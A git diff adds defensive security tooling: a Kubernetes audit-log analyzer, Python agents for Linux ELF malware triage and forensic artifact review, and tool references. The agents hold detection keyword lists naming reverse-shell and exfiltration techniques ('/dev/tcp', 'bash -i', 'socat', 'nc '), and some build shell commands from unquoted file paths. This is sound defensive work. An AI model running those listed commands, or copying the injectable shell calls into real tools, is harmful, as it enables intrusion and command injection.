obj_ref.get("namespace", ""), + "pod": obj_ref.get("name", ""), + "subresource": subresource, + "source_ip": event.get("sourceIPs", [""])[0], + "severity": "HIGH", + }) + return findings + + +def detect_secret_access(events): + """Detect access to Kubernetes secrets.""" + findings = [] + for event in events: + obj_ref = event.get("objectRef", {}) + if obj_ref.get("resource") != "secrets": + continue + verb = event.get("verb", "") + if verb not in ("get", "list", "watch", "create", "update", "delete"): + continue + findings.append({ + "timestamp": event.get("requestReceivedTimestamp", ""), + "user": event.get("user", {}).get("username", ""), + "verb": verb, + "namespace": obj_ref.get("namespace", ""), + "secret_name": obj_ref.get("name", ""), + "source_ip": event.get("sourceIPs", [""])[0], + "severity": "HIGH" if verb in ("list", "delete") else "MEDIUM", + }) + return findings + + +def detect_rbac_changes(events): + """Detect RBAC role and binding modifications.""" + rbac_resources = {"clusterroles", "clusterrolebindings", "roles", "rolebindings"} + findings = [] + for event in events: + obj_ref = event.get("objectRef", {}) + resource = obj_ref.get("resource", "") + verb = event.get("verb", "") + if resource in rbac_resources and verb in ("create", "update", "patch", "delete"): + findings.append({ + "timestamp": event.get("requestReceivedTimestamp", ""), + "user": event.get("user", {}).get("username", ""), + "verb": verb, + "resource": resource, + "name": obj_ref.get("name", ""), + "namespace": obj_ref.get("namespace", ""), + "source_ip": event.get("sourceIPs", [""])[0], + "severity": "CRITICAL" if "cluster" in resource else "HIGH", + }) + return findings + + +def detect_privileged_pods(events): + """Detect creation of privileged pods.""" + findings = [] + for event in events: + if event.get("verb") != "create": + continue + obj_ref = event.get("objectRef", {}) + if obj_ref.get("resource") != "pods": + continue + request_obj = event.get("requestObject", {}) + spec = request_obj.get("spec", {}) + containers = spec.get("containers", []) + for container in containers: + sc = container.get("securityContext", {}) + if sc.get("privileged"): + findings.append({ + "timestamp": event.get("requestReceivedTimestamp", ""), + "user": event.get("user", {}).get("username", ""), + "namespace": obj_ref.get("namespace", ""), + "pod": obj_ref.get("name", ""), + "container": container.get("name", ""), + "severity": "CRITICAL", + }) + return findings + + +def detect_anonymous_access(events): + """Detect API access by anonymous or unauthenticated users.""" + findings = [] + anon_users = {"system:anonymous", "system:unauthenticated"} + for event in events: + user = event.get("user", {}).get("username", "") + groups = event.get("user", {}).get("groups", []) + if user in anon_users or "system:unauthenticated" in groups: + status_code = event.get("responseStatus", {}).get("code", 0) + if status_code < 400: + findings.append({ + "timestamp": event.get("requestReceivedTimestamp", ""), + "user": user, + "verb": event.get("verb", ""), + "resource": event.get("objectRef", {}).get("resource", ""), + "source_ip": event.get("sourceIPs", [""])[0], + "status_code": status_code, + "severity": "CRITICAL", + }) + return findings + + +def detect_forbidden_surge(events, threshold=20): + """Detect 403 surges indicating enumeration or brute force.""" + user_forbidden = defaultdict(int) + for event in events: + if event.get("responseStatus", {}).get("code") == 403: + user = event.get("user", {}).get("username", "") + user_forbidden[user] += 1 + surges = [] + for user, count in user_forbidden.items(): + if count >= threshold: + surges.append({"user": user, "forbidden_count": count, "severity": "MEDIUM"}) + return sorted(surges, key=lambda x: x["forbidden_count"], reverse=True) + + +def main(): + parser = argparse.ArgumentParser(description="Kubernetes Audit Log Analyzer") + parser.add_argument("--audit-log", required=True, help="Path to audit log file") + parser.add_argument("--output", default="k8s_audit_report.json") + parser.add_argument("--action", choices=[ + "exec", "secrets", "rbac", "privileged", "anonymous", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + events = parse_audit_log(args.audit_log) + report = {"log_file": args.audit_log, "total_events": len(events), + "generated_at": datetime.utcnow().isoformat(), "findings": {}} + print(f"[+] Parsed {len(events)} audit events") + + if args.action in ("exec", "full_analysis"): + findings = detect_pod_exec(events) + report["findings"]["pod_exec"] = findings + print(f"[+] Pod exec/attach events: {len(findings)}") + + if args.action in ("secrets", "full_analysis"): + findings = detect_secret_access(events) + report["findings"]["secret_access"] = findings + print(f"[+] Secret access events: {len(findings)}") + + if args.action in ("rbac", "full_analysis"): + findings = detect_rbac_changes(events) + report["findings"]["rbac_changes"] = findings + print(f"[+] RBAC changes: {len(findings)}") + + if args.action in ("privileged", "full_analysis"): + findings = detect_privileged_pods(events) + report["findings"]["privileged_pods"] = findings + print(f"[+] Privileged pod creation: {len(findings)}") + + if args.action in ("anonymous", "full_analysis"): + findings = detect_anonymous_access(events) + report["findings"]["anonymous_access"] = findings + print(f"[+] Anonymous access events: {len(findings)}") + + forbidden = detect_forbidden_surge(events) + report["findings"]["forbidden_surges"] = forbidden + print(f"[+] 403 surges: {len(forbidden)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-linux-elf-malware/LICENSE b/skills/analyzing-linux-elf-malware/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-linux-elf-malware/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-linux-elf-malware/references/api-reference.md b/skills/analyzing-linux-elf-malware/references/api-reference.md new file mode 100644 index 00000000..126d04bb --- /dev/null +++ b/skills/analyzing-linux-elf-malware/references/api-reference.md @@ -0,0 +1,119 @@ +# API Reference: Linux ELF Malware Analysis Tools + +## readelf - ELF Binary Inspection + +### Syntax +```bash +readelf -h # ELF header +readelf -S # Section headers +readelf -l # Program headers (segments) +readelf -s # Symbol table +readelf -d # Dynamic section +readelf -r # Relocation entries +readelf -n # Notes section +``` + +### Key ELF Header Fields +| Field | Description | +|-------|-------------| +| `Class` | 32-bit or 64-bit | +| `Machine` | Architecture (x86-64, ARM, MIPS) | +| `Type` | EXEC (executable), DYN (shared object) | +| `Entry point` | Code execution start address | + +## pyelftools - Python ELF Parsing + +### Usage +```python +from elftools.elf.elffile import ELFFile + +with open("binary", "rb") as f: + elf = ELFFile(f) + elf.elfclass # 32 or 64 + elf.little_endian # True/False + elf.header.e_machine # Architecture + elf.header.e_entry # Entry point + elf.num_sections() # Section count + elf.get_section_by_name(".symtab") # Symbol table +``` + +## strings - String Extraction + +### Syntax +```bash +strings # ASCII strings (default min 4) +strings -n 8 # Minimum 8 characters +strings -e l # 16-bit little-endian (Unicode) +strings -t x # Print offset in hex +``` + +## strace - System Call Tracing + +### Syntax +```bash +strace -f ./binary # Follow forks +strace -e trace=network ./binary # Network calls only +strace -e trace=file ./binary # File operations only +strace -e trace=process ./binary # Process operations +strace -o output.txt ./binary # Log to file +strace -c ./binary # Summary statistics +``` + +### Key System Calls +| Call | Category | +|------|----------| +| `socket`, `connect`, `bind` | Network | +| `fork`, `execve`, `clone` | Process | +| `open`, `read`, `write`, `unlink` | File I/O | +| `ptrace` | Anti-debug/injection | + +## ltrace - Library Call Tracing + +### Syntax +```bash +ltrace -f ./binary # Follow child processes +ltrace -e malloc+free ./binary # Specific functions +ltrace -o output.txt ./binary # Log to file +``` + +## GDB - GNU Debugger + +### Syntax +```bash +gdb ./binary +(gdb) break main +(gdb) break *0x400580 # Break at address +(gdb) run +(gdb) info registers +(gdb) x/20s $rdi # Examine string at RDI +(gdb) x/10i $rip # Disassemble at RIP +(gdb) bt # Backtrace +``` + +## UPX - Packer Detection/Unpacking + +### Syntax +```bash +upx -t # Test if packed +upx -d # Decompress/unpack +upx -l # List compression details +``` + +## objdump - Disassembly + +### Syntax +```bash +objdump -d # Disassemble .text +objdump -D # Disassemble all sections +objdump -M intel -d # Intel syntax +objdump -t # Symbol table +``` + +## nm - Symbol Listing + +### Syntax +```bash +nm # List symbols +nm -D # Dynamic symbols only +nm -u # Undefined (imported) symbols +``` diff --git a/skills/analyzing-linux-elf-malware/scripts/agent.py b/skills/analyzing-linux-elf-malware/scripts/agent.py new file mode 100644 index 00000000..455eecd1 --- /dev/null +++ b/skills/analyzing-linux-elf-malware/scripts/agent.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +"""Linux ELF malware static analysis agent using pyelftools and binary inspection.""" + +import hashlib +import math +import os +import sys +import subprocess +import struct +from collections import Counter + +try: + from elftools.elf.elffile import ELFFile + from elftools.elf.sections import SymbolTableSection + HAS_ELFTOOLS = True +except ImportError: + HAS_ELFTOOLS = False + + +def compute_hashes(filepath): + """Compute MD5, SHA1, and SHA256 hashes of a file.""" + md5 = hashlib.md5() + sha1 = hashlib.sha1() + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + md5.update(chunk) + sha1.update(chunk) + sha256.update(chunk) + return {"md5": md5.hexdigest(), "sha1": sha1.hexdigest(), "sha256": sha256.hexdigest()} + + +def calculate_entropy(data): + """Calculate Shannon entropy of binary data.""" + if not data: + return 0.0 + counter = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in counter.values()) + + +def analyze_elf_header(filepath): + """Parse ELF header and extract key properties.""" + if not HAS_ELFTOOLS: + return {"error": "pyelftools not installed: pip install pyelftools"} + with open(filepath, "rb") as f: + elf = ELFFile(f) + symtab = elf.get_section_by_name(".symtab") + info = { + "class": f"{elf.elfclass}-bit", + "endian": "Little" if elf.little_endian else "Big", + "machine": elf.header.e_machine, + "type": elf.header.e_type, + "entry_point": f"0x{elf.header.e_entry:X}", + "stripped": symtab is None, + "num_sections": elf.num_sections(), + "num_segments": elf.num_segments(), + } + return info + + +def analyze_sections(filepath): + """Analyze ELF sections for entropy and suspicious characteristics.""" + if not HAS_ELFTOOLS: + return [] + sections = [] + with open(filepath, "rb") as f: + elf = ELFFile(f) + for section in elf.iter_sections(): + data = section.data() + if len(data) == 0: + continue + entropy = calculate_entropy(data) + sections.append({ + "name": section.name, + "type": section["sh_type"], + "size": len(data), + "entropy": round(entropy, 4), + "high_entropy": entropy > 7.0, + "flags": section["sh_flags"], + }) + return sections + + +def extract_strings(filepath, min_length=6): + """Extract ASCII strings from the binary and categorize by type.""" + stdout, _, rc = subprocess.run( + f"strings -n {min_length} {filepath}", shell=True, + capture_output=True, text=True + ).stdout, "", 0 + if not stdout: + return {} + all_strings = stdout.strip().splitlines() + categorized = { + "urls": [], "ips": [], "domains": [], "shell_commands": [], + "crypto_mining": [], "persistence": [], "ssh_related": [], + "total": len(all_strings), + } + for s in all_strings: + s_lower = s.lower() + if any(proto in s_lower for proto in ["http://", "https://", "ftp://"]): + categorized["urls"].append(s) + if any(p in s_lower for p in ["stratum", "xmr", "monero", "pool.", "mining"]): + categorized["crypto_mining"].append(s) + if any(p in s_lower for p in ["crontab", "systemd", "init.d", "rc.local", + "ld.so.preload", "systemctl"]): + categorized["persistence"].append(s) + if any(p in s_lower for p in ["ssh", "authorized_keys", "id_rsa", "shadow", "passwd"]): + categorized["ssh_related"].append(s) + if any(p in s_lower for p in ["bash", "wget", "curl", "chmod", "/tmp/", "/dev/"]): + categorized["shell_commands"].append(s) + import re + if re.match(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", s): + categorized["ips"].append(s) + if re.match(r"[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn|xyz)", s): + categorized["domains"].append(s) + return categorized + + +def check_packing(filepath): + """Check if the binary is packed with UPX or other packers.""" + with open(filepath, "rb") as f: + data = f.read(4096) + indicators = [] + if b"UPX!" in data: + indicators.append("UPX packer detected (UPX! magic)") + if b"UPX0" in data or b"UPX1" in data: + indicators.append("UPX section names found") + stdout, _, _ = subprocess.run(f"upx -t {filepath} 2>&1", shell=True, + capture_output=True, text=True).stdout, "", 0 + if stdout and "packed" in stdout.lower(): + indicators.append("UPX verification confirms packing") + return indicators + + +def analyze_dynamic_linking(filepath): + """Analyze dynamic linking information and imported functions.""" + stdout, _, rc = subprocess.run(f"readelf -d {filepath}", shell=True, + capture_output=True, text=True).stdout, "", 0 + dynamic_info = {"libraries": [], "rpath": None} + if stdout: + for line in stdout.splitlines(): + if "NEEDED" in line: + lib = line.split("[")[-1].rstrip("]") if "[" in line else "" + dynamic_info["libraries"].append(lib) + if "RPATH" in line or "RUNPATH" in line: + dynamic_info["rpath"] = line.split("[")[-1].rstrip("]") + + stdout2, _, _ = subprocess.run( + f"readelf -r {filepath} | grep -E 'socket|connect|exec|fork|open|write|bind|listen|send|recv'", + shell=True, capture_output=True, text=True + ).stdout, "", 0 + dynamic_info["suspicious_imports"] = [ + line.strip() for line in (stdout2 or "").splitlines() if line.strip() + ] + return dynamic_info + + +def detect_malware_type(strings_data): + """Classify malware type based on extracted strings.""" + classifications = [] + if strings_data.get("crypto_mining"): + classifications.append("Cryptominer") + if any("flood" in s.lower() or "ddos" in s.lower() + for s in strings_data.get("shell_commands", [])): + classifications.append("DDoS Botnet") + if strings_data.get("ssh_related") and strings_data.get("persistence"): + classifications.append("Backdoor/Trojan") + if any("insmod" in s or "modprobe" in s or "init_module" in s + for s in strings_data.get("shell_commands", [])): + classifications.append("Rootkit") + if any("ransom" in s.lower() or "encrypt" in s.lower() or "bitcoin" in s.lower() + for cat in strings_data.values() if isinstance(cat, list) for s in cat): + classifications.append("Ransomware") + return classifications or ["Unknown"] + + +if __name__ == "__main__": + print("=" * 60) + print("Linux ELF Malware Analysis Agent") + print("Static analysis with pyelftools, strings, readelf") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if target and os.path.exists(target): + print(f"\n[*] Analyzing: {target}") + print(f"[*] Size: {os.path.getsize(target)} bytes") + + hashes = compute_hashes(target) + print(f"[*] MD5: {hashes['md5']}") + print(f"[*] SHA256: {hashes['sha256']}") + + elf_info = analyze_elf_header(target) + print(f"\n--- ELF Header ---") + for k, v in elf_info.items(): + print(f" {k}: {v}") + + packing = check_packing(target) + if packing: + for p in packing: + print(f"[!] {p}") + + sections = analyze_sections(target) + high_ent = [s for s in sections if s.get("high_entropy")] + if high_ent: + print(f"\n[!] High entropy sections (possible packing/encryption):") + for s in high_ent: + print(f" {s['name']}: entropy={s['entropy']}, size={s['size']}") + + strings_data = extract_strings(target) + print(f"\n--- Strings Analysis ({strings_data.get('total', 0)} total) ---") + for category in ["urls", "ips", "domains", "crypto_mining", "persistence", "ssh_related"]: + items = strings_data.get(category, []) + if items: + print(f" {category}: {len(items)}") + for item in items[:5]: + print(f" - {item}") + + classification = detect_malware_type(strings_data) + print(f"\n[*] Classification: {', '.join(classification)}") + else: + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Provide a Linux ELF binary for analysis.") diff --git a/skills/analyzing-linux-system-artifacts/LICENSE b/skills/analyzing-linux-system-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-linux-system-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-linux-system-artifacts/references/api-reference.md b/skills/analyzing-linux-system-artifacts/references/api-reference.md new file mode 100644 index 00000000..c1de8150 --- /dev/null +++ b/skills/analyzing-linux-system-artifacts/references/api-reference.md @@ -0,0 +1,114 @@ +# API Reference: Linux Forensic Artifact Analysis Tools + +## Key Artifact Locations + +| Artifact | Path | Description | +|----------|------|-------------| +| Auth logs | `/var/log/auth.log` (Debian) `/var/log/secure` (RHEL) | Authentication events | +| Login history | `/var/log/wtmp` | Successful logins (binary, use `last`) | +| Failed logins | `/var/log/btmp` | Failed logins (binary, use `lastb`) | +| Bash history | `~/.bash_history` | Command history per user | +| SSH keys | `~/.ssh/authorized_keys` | Authorized public keys | +| Crontab | `/etc/crontab`, `/var/spool/cron/crontabs/` | Scheduled tasks | +| Systemd services | `/etc/systemd/system/` | Service definitions | +| LD_PRELOAD | `/etc/ld.so.preload` | Shared library preloading | +| SUID binaries | `find / -perm -4000` | Setuid executables | + +## last / lastb - Login History + +### Syntax +```bash +last -f /var/log/wtmp # Successful logins +lastb -f /var/log/btmp # Failed logins +last -i -f /var/log/wtmp # Show IP addresses +last -s 2024-01-15 -t 2024-01-20 # Date range filter +``` + +### Output Format +``` +user pts/0 192.168.1.50 Mon Jan 15 09:00 still logged in +``` + +## chkrootkit - Rootkit Scanner + +### Syntax +```bash +chkrootkit # Full scan +chkrootkit -r /mnt/evidence # Scan mounted evidence +chkrootkit -q # Quiet (infected only) +``` + +## rkhunter - Rootkit Hunter + +### Syntax +```bash +rkhunter --check # Full system check +rkhunter --check --rootdir /mnt/ev # Check evidence root +rkhunter --list tests # List available tests +rkhunter --propupd # Update file properties DB +``` + +### Check Categories +| Check | Description | +|-------|-------------| +| `rootkits` | Known rootkit signatures | +| `trojans` | Trojanized system binaries | +| `properties` | File permission anomalies | +| `filesystem` | Hidden files and directories | + +## auditd Log Parsing + +### ausearch Syntax +```bash +ausearch -m execve -ts recent # Recent command execution +ausearch -m USER_AUTH -ts today # Authentication events +ausearch -k suspicious_activity # Custom audit rule key +ausearch -ua 0 -ts today # Root user actions +``` + +### aureport Syntax +```bash +aureport --auth # Authentication summary +aureport --login # Login summary +aureport --file # File access summary +aureport --summary # Overall summary +``` + +## osquery - SQL-based System Queries + +### Syntax +```bash +osqueryi "SELECT * FROM users WHERE uid = 0" +osqueryi "SELECT * FROM crontab" +osqueryi "SELECT * FROM authorized_keys" +osqueryi "SELECT * FROM suid_bin" +osqueryi "SELECT * FROM process_open_sockets" +``` + +### Key Tables +| Table | Content | +|-------|---------| +| `users` | User account information | +| `crontab` | Cron job entries | +| `authorized_keys` | SSH authorized keys | +| `suid_bin` | SUID binaries | +| `process_open_sockets` | Network connections by process | +| `shell_history` | Command history entries | + +## Plaso / log2timeline - Super Timeline + +### Syntax +```bash +log2timeline.py /cases/timeline.plaso /mnt/evidence +psort.py -o l2tcsv /cases/timeline.plaso > timeline.csv +psort.py -o l2tcsv /cases/timeline.plaso "date > '2024-01-15'" +``` + +## AIDE - File Integrity + +### Syntax +```bash +aide --init # Initialize database +aide --check # Check for changes +aide --compare # Compare databases +``` diff --git a/skills/analyzing-linux-system-artifacts/scripts/agent.py b/skills/analyzing-linux-system-artifacts/scripts/agent.py new file mode 100644 index 00000000..f2e15eaf --- /dev/null +++ b/skills/analyzing-linux-system-artifacts/scripts/agent.py @@ -0,0 +1,261 @@ +#!/usr/bin/env python3 +"""Linux system artifact forensics agent for investigating compromised systems.""" + +import os +import sys +import glob +import json +import re +import datetime +import subprocess + + +def run_cmd(cmd): + """Execute a shell command and return output.""" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def analyze_passwd(passwd_path): + """Analyze /etc/passwd for suspicious accounts.""" + findings = [] + with open(passwd_path, "r") as f: + for line in f: + parts = line.strip().split(":") + if len(parts) < 7: + continue + username, _, uid, gid = parts[0], parts[1], int(parts[2]), int(parts[3]) + home, shell = parts[5], parts[6] + if uid == 0 and username != "root": + findings.append({ + "severity": "CRITICAL", + "finding": f"UID 0 account: {username} (shell: {shell})", + }) + login_shells = ["/bin/bash", "/bin/sh", "/bin/zsh", "/usr/bin/zsh"] + if uid < 1000 and uid > 0 and shell in login_shells: + findings.append({ + "severity": "WARNING", + "finding": f"System account with login shell: {username} (UID:{uid})", + }) + if uid >= 1000 and shell not in ["/bin/false", "/usr/sbin/nologin", "/bin/sync"]: + findings.append({ + "severity": "INFO", + "finding": f"Interactive user: {username} (UID:{uid}, Home:{home})", + }) + return findings + + +def analyze_shadow(shadow_path): + """Analyze /etc/shadow for password hash types and status.""" + findings = [] + with open(shadow_path, "r") as f: + for line in f: + parts = line.strip().split(":") + if len(parts) < 3: + continue + username = parts[0] + pwd_hash = parts[1] + if pwd_hash and pwd_hash not in ("*", "!", "!!", ""): + hash_type = "Unknown" + if pwd_hash.startswith("$6$"): + hash_type = "SHA-512" + elif pwd_hash.startswith("$5$"): + hash_type = "SHA-256" + elif pwd_hash.startswith("$y$"): + hash_type = "yescrypt" + elif pwd_hash.startswith("$1$"): + hash_type = "MD5 (WEAK)" + findings.append({ + "severity": "WARNING", + "finding": f"{username} uses weak MD5 password hash", + }) + findings.append({ + "severity": "INFO", + "finding": f"{username}: {hash_type} hash, last changed day {parts[2]}", + }) + return findings + + +def analyze_bash_history(history_path, username="unknown"): + """Analyze bash history for suspicious commands.""" + suspicious_patterns = [ + "wget", "curl", "nc ", "ncat", "netcat", "python -c", "python3 -c", + "perl -e", "base64", "chmod 777", "chmod +s", "/dev/tcp", "/dev/udp", + "nmap", "masscan", "hydra", "john", "hashcat", "passwd", "useradd", + "iptables -F", "ufw disable", "history -c", "rm -rf", "dd if=", + "crontab", "systemctl enable", "ssh-keygen", "scp ", "rsync", + "/tmp/", "/dev/shm/", "mkfifo", "socat", + ] + findings = [] + with open(history_path, "r", errors="ignore") as f: + lines = f.readlines() + for i, line in enumerate(lines): + line_stripped = line.strip() + for pattern in suspicious_patterns: + if pattern in line_stripped.lower(): + findings.append({ + "user": username, + "line_number": i + 1, + "command": line_stripped[:200], + "matched_pattern": pattern, + }) + break + return findings + + +def check_cron_persistence(evidence_root): + """Check cron jobs for persistence mechanisms.""" + findings = [] + cron_paths = [ + os.path.join(evidence_root, "etc/crontab"), + *glob.glob(os.path.join(evidence_root, "etc/cron.d/*")), + *glob.glob(os.path.join(evidence_root, "var/spool/cron/crontabs/*")), + ] + for cron_path in cron_paths: + if os.path.exists(cron_path) and os.path.isfile(cron_path): + with open(cron_path, "r", errors="ignore") as f: + for line in f: + line = line.strip() + if line and not line.startswith("#"): + suspicious = any( + p in line.lower() + for p in ["wget", "curl", "/tmp/", "/dev/shm/", "base64", + "python", "bash -i", "reverse", "nc ", "ncat"] + ) + if suspicious: + findings.append({ + "severity": "HIGH", + "source": cron_path, + "entry": line[:200], + }) + return findings + + +def check_ssh_keys(evidence_root): + """Check for unauthorized SSH authorized_keys.""" + findings = [] + key_files = glob.glob( + os.path.join(evidence_root, "home/*/.ssh/authorized_keys") + ) + glob.glob( + os.path.join(evidence_root, "root/.ssh/authorized_keys") + ) + for key_file in key_files: + if os.path.exists(key_file): + with open(key_file, "r") as f: + keys = [l.strip() for l in f if l.strip() and not l.startswith("#")] + if keys: + findings.append({ + "file": key_file, + "key_count": len(keys), + "keys": [k[:80] + "..." for k in keys], + }) + return findings + + +def check_systemd_persistence(evidence_root): + """Check for suspicious systemd service files.""" + findings = [] + service_dirs = [ + os.path.join(evidence_root, "etc/systemd/system"), + os.path.join(evidence_root, "usr/lib/systemd/system"), + ] + for svc_dir in service_dirs: + if not os.path.exists(svc_dir): + continue + for svc_file in glob.glob(os.path.join(svc_dir, "*.service")): + with open(svc_file, "r", errors="ignore") as f: + content = f.read() + suspicious = any( + p in content.lower() + for p in ["/tmp/", "/dev/shm/", "wget", "curl", "reverse", + "bash -i", "nc ", "python", "base64"] + ) + if suspicious: + findings.append({ + "severity": "HIGH", + "file": svc_file, + "preview": content[:300], + }) + return findings + + +def check_ld_preload(evidence_root): + """Check for LD_PRELOAD rootkit indicators.""" + findings = [] + preload_path = os.path.join(evidence_root, "etc/ld.so.preload") + if os.path.exists(preload_path): + with open(preload_path, "r") as f: + content = f.read().strip() + if content: + findings.append({ + "severity": "CRITICAL", + "finding": f"/etc/ld.so.preload contains: {content}", + }) + return findings + + +def find_suid_binaries(evidence_root): + """Find SUID/SGID binaries (potential privilege escalation).""" + stdout, _, rc = run_cmd( + f"find {evidence_root} -perm -4000 -type f 2>/dev/null" + ) + return stdout.splitlines() if rc == 0 and stdout else [] + + +def find_suspicious_tmp_files(evidence_root): + """Find suspicious files in /tmp and /dev/shm.""" + findings = [] + for tmp_dir in ["tmp", "dev/shm"]: + full_path = os.path.join(evidence_root, tmp_dir) + if os.path.exists(full_path): + for root, dirs, files in os.walk(full_path): + for fname in files: + fpath = os.path.join(root, fname) + findings.append(fpath) + return findings + + +if __name__ == "__main__": + print("=" * 60) + print("Linux System Artifacts Forensics Agent") + print("User accounts, persistence, shell history, rootkit detection") + print("=" * 60) + + evidence_root = sys.argv[1] if len(sys.argv) > 1 else "/mnt/evidence" + + if os.path.exists(evidence_root): + print(f"\n[*] Examining evidence root: {evidence_root}") + + passwd_path = os.path.join(evidence_root, "etc/passwd") + if os.path.exists(passwd_path): + print("\n--- User Account Analysis ---") + for f in analyze_passwd(passwd_path): + print(f" [{f['severity']}] {f['finding']}") + + print("\n--- Cron Persistence ---") + cron = check_cron_persistence(evidence_root) + for c in cron: + print(f" [{c['severity']}] {c['source']}: {c['entry'][:80]}") + + print("\n--- SSH Authorized Keys ---") + ssh = check_ssh_keys(evidence_root) + for s in ssh: + print(f" {s['file']}: {s['key_count']} keys") + + print("\n--- Systemd Persistence ---") + systemd = check_systemd_persistence(evidence_root) + for s in systemd: + print(f" [{s['severity']}] {s['file']}") + + print("\n--- LD_PRELOAD Rootkit Check ---") + ld = check_ld_preload(evidence_root) + for l in ld: + print(f" [{l['severity']}] {l['finding']}") + + print("\n--- Suspicious Temp Files ---") + tmp = find_suspicious_tmp_files(evidence_root) + for t in tmp[:20]: + print(f" {t}") + else: + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Mount a forensic image and provide the path for analysis.") diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE b/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md b/skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md new file mode 100644 index 00000000..5ce97220 --- /dev/null +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md @@ -0,0 +1,109 @@ +# API Reference: LNK File and Jump List Forensics + +## LECmd (Eric Zimmerman) - LNK Parser + +### Syntax +```bash +LECmd.exe -f # Single file +LECmd.exe -d --all # All files in directory +LECmd.exe -d --csv # CSV export +LECmd.exe -d --json # JSON export +LECmd.exe -f -q # Quiet mode +LECmd.exe -d -r # Only removable drives +``` + +### Output Fields +| Field | Description | +|-------|-------------| +| SourceFile | Path to the .lnk file | +| TargetCreated | Target file creation timestamp | +| TargetModified | Target file modification timestamp | +| TargetAccessed | Target file access timestamp | +| FileSize | Target file size | +| RelativePath | Relative path to target | +| WorkingDirectory | Working directory for target | +| Arguments | Command-line arguments | +| LocalPath | Full local path to target | +| VolumeSerialNumber | Volume serial of target drive | +| DriveType | Fixed, Removable, Network | +| MachineID | NetBIOS name from tracker block | +| MacAddress | MAC from distributed tracker | + +## JLECmd (Eric Zimmerman) - Jump List Parser + +### Syntax +```bash +JLECmd.exe -f # Single file +JLECmd.exe -d # All jump lists +JLECmd.exe -d --csv # CSV export +JLECmd.exe -d --fd # Full LNK details +JLECmd.exe -d --dumpTo # Extract embedded LNK files +``` + +### Jump List Locations +``` 